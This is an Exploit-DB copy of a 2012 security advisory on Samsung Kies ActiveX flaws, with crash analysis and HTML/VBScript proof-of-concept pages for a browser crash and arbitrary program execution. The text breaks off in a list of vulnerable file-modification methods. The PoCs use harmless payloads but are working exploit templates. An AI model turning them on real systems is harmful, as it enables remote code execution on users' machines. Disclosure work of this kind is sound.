Exploit-DB #22007
Description: Samsung Kies 2.3.2.12054_20 - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2012-10-16
Author: High-Tech Bridge SA

Exploit:
Advisory ID: HTB23099
Product: Samsung Kies
Vendor: Samsung Electronics
Vulnerable Version(s): 2.3.2.12054_20 and probably prior
Tested Version: 2.3.2.12054_20
Vendor Notification: June 25, 2012 
Public Disclosure: October 15, 2012 
Vulnerability Type: NULL Pointer Dereference [CWE-476], Improper Access Control [CWE-284], Improper Access Control [CWE-284], Improper Access Control [CWE-284], Improper Access Control [CWE-284]
CVE References: CVE-2012-3806, CVE-2012-3807, CVE-2012-3808, CVE-2012-3809, CVE-2012-3810
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:N/A:P), 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P), 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P),  5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P),  5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in Samsung Kies synchronization utility that allows remote attacker to compromise affected system, execute and modify arbitrary files, modify arbitrary directories and modify System Registry with privileges of the current user. 


1) Null Pointer Dereference in Samsung Kies: CVE-2012-3806

The vulnerability exists due to a null pointer dereference error in GetDataTable() method within the Samsung.DeviceService.DCA.DeviceDataParagonATGM.1 ActiveX control (DCAPARAGONGM.dll, GUID {7650BC47-036D-4D5B-95B4-9D622C8D00A4}, located by default in "C:\Program Files(x86)\Samsung\Kies\External\DeviceModules\"). A remote attacker can pass "tagDATATABLE_SUID" argument equal to 0 to the GetDataTable() method and rise an ACCESS_VIOLATION exception on a MOV EDX,[EAX] instruction, as EAX is previously zeroed by an unexpected NULL value in the memory region pointed by ECX:


Disassembly:
--------------------------------------------------
2A22B95               MOV ECX,[EBP+10]
2A22B98               MOV EAX,[ECX]
2A22B9A              MOV EDX,[EAX]                  //  Crash through
Null Pointer Dereference
2A22B9C              PUSH 0
2A22B9E               PUSH 0
2A22BA0              PUSH 2A71E68
2A22BA5              PUSH EAX
2A22BA6              MOV EAX,[EDX+50]
2A22BA9              CALL EAX

Registers:
--------------------------------------------------
EIP 02A22B9A
EAX 00000000
EBX 02A66774 -> 029E58F0
ECX 0022EBC0 -> 00000000
EDX 006DFCE2 -> 00030000
EDI 00000000
ESI 00000000
EBP 0022EB5C -> 0022EB7C
ESP 0022EB38 -> F2D508FE



The following Proof of Concept code causes a browser to crash:


<html>
<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->
   <head>
     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
   </head>
   <script language='vbscript'>
     Sub daPoC()
                   arg1=0
                   daTarget.GetDataTable arg1
     End Sub
   </script>
   <body>
     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
                 <h4>Null Pointer Dereference PoC</h4>
                 <hr>
                 This simple PoC will crash Internet Explorer.<BR><BR>
     <input language=VBScript onclick=daPoC() type=button value="Proof of Concept">
   </body>
   <object classid='clsid:7650BC47-036D-4D5B-95B4-9D622C8D00A4'
id='daTarget'></object>
</html>



2) Arbitrary File Execution in Samsung Kies: CVE-2012-3807

The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary file execution vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.


Arbitrary File Execution:

Run                                  => Vulnerable
RunAt                                => Initial Exploit Test failed
RunAtNotExit                         => Initial Exploit Test failed
RunNotExit                           => Vulnerable



Arbitrary File Execution Proof of Concept:


<html>
<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->
   <head>
     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
   </head>
   <script language='vbscript'>
     Sub daPoC()
       daFile="iexplore https://www.htbridge.com/advisory/HTB23099"
       daTarget.Run daFile
     End Sub
   </script>
   <body>
     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
     <h4>Arbitrary File Execution PoC</h4>
                 <hr>
                 This simple PoC will spawn IE and display more information about the vulnerability.<BR><BR>
     <input language=VBScript onclick=daPoC() type=button value="Proof of Concept">
   </body>
   <object classid='clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1' id='daTarget'></object>
</html>



3) Arbitrary File Modification in Samsung Kies: CVE-2012-3808

The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary file modification vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.


Arbitrary File Modification:

FileCopy                             => Vulnerable
FileCopySync                         => Vulnerable
FileDelete                           => Vulnerable
FileMove                             => Vulnerable
FileMoveExReboot